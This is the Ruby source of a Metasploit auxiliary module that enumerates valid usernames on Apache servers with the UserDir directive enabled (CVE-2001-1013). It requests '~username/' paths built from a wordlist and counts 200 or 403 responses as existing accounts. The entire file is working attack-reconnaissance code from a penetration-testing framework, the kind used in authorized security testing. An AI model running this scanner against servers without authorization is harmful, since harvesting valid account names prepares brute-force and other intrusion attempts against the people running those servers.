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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  include Msf::Auxiliary::AuthBrute
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  def initialize
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    super(
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      'Name'           => 'Apache "mod_userdir" User Enumeration',
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      'Description'    => %q{Apache with the UserDir directive enabled generates different error
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      codes when a username exists and there is no public_html directory and when the username
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      does not exist, which could allow remote attackers to determine valid usernames on the
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      server.},
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      'Author'         =>
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        [
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          'Heyder Andrade <heyder.andrade[at]alligatorteam.org>',
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        ],
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      'References'     =>
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        [
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          ['BID', '3335'],
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          ['CVE', '2001-1013'],
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          ['OSVDB', '637'],
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        ],
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      'License'        =>  MSF_LICENSE
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The path to users Home Page', '/']),
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        OptPath.new('USER_FILE',  [ true, "File containing users, one per line",
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          File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt") ]),
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      ])
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    deregister_options(
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      'PASSWORD',
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      'PASS_FILE',
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      'USERPASS_FILE',
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      'STOP_ON_SUCCESS',
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      'BLANK_PASSWORDS',
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      'USER_AS_PASS'
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    )
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  end
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  def run_host(ip)
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    @users_found = {}
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    each_user_pass { |user,pass|
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      do_login(user)
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    }
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    if(@users_found.empty?)
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      print_status("#{full_uri} - No users found.")
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    else
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      print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(", ")}")
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      report_note(
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        :host => rhost,
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        :port => rport,
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        :proto => 'tcp',
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        :sname => (ssl ? 'https' : 'http'),
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        :type => 'users',
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        :data => {:users =>  @users_found.keys.join(", ")}
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      )
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    end
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  end
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  def do_login(user)
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    vprint_status("#{full_uri}~#{user} - Trying UserDir: '#{user}'")
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    uri = normalize_uri(target_uri.path)
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    payload = "#{uri}~#{user}/"
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    begin
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      res = send_request_cgi!(
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        {
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          'method'  => 'GET',
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          'uri'     => payload,
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          'ctype'   => 'text/plain'
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        }, 20)
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      return unless res
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      if ((res.code == 403) or (res.code == 200))
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        print_good("#{full_uri} - Apache UserDir: '#{user}' found ")
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        @users_found[user] = :reported
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      else
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        vprint_status("#{full_uri} - Apache UserDir: '#{user}' not found ")
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      end
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    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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    rescue ::Timeout::Error, ::Errno::EPIPE
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    end
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  end
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end
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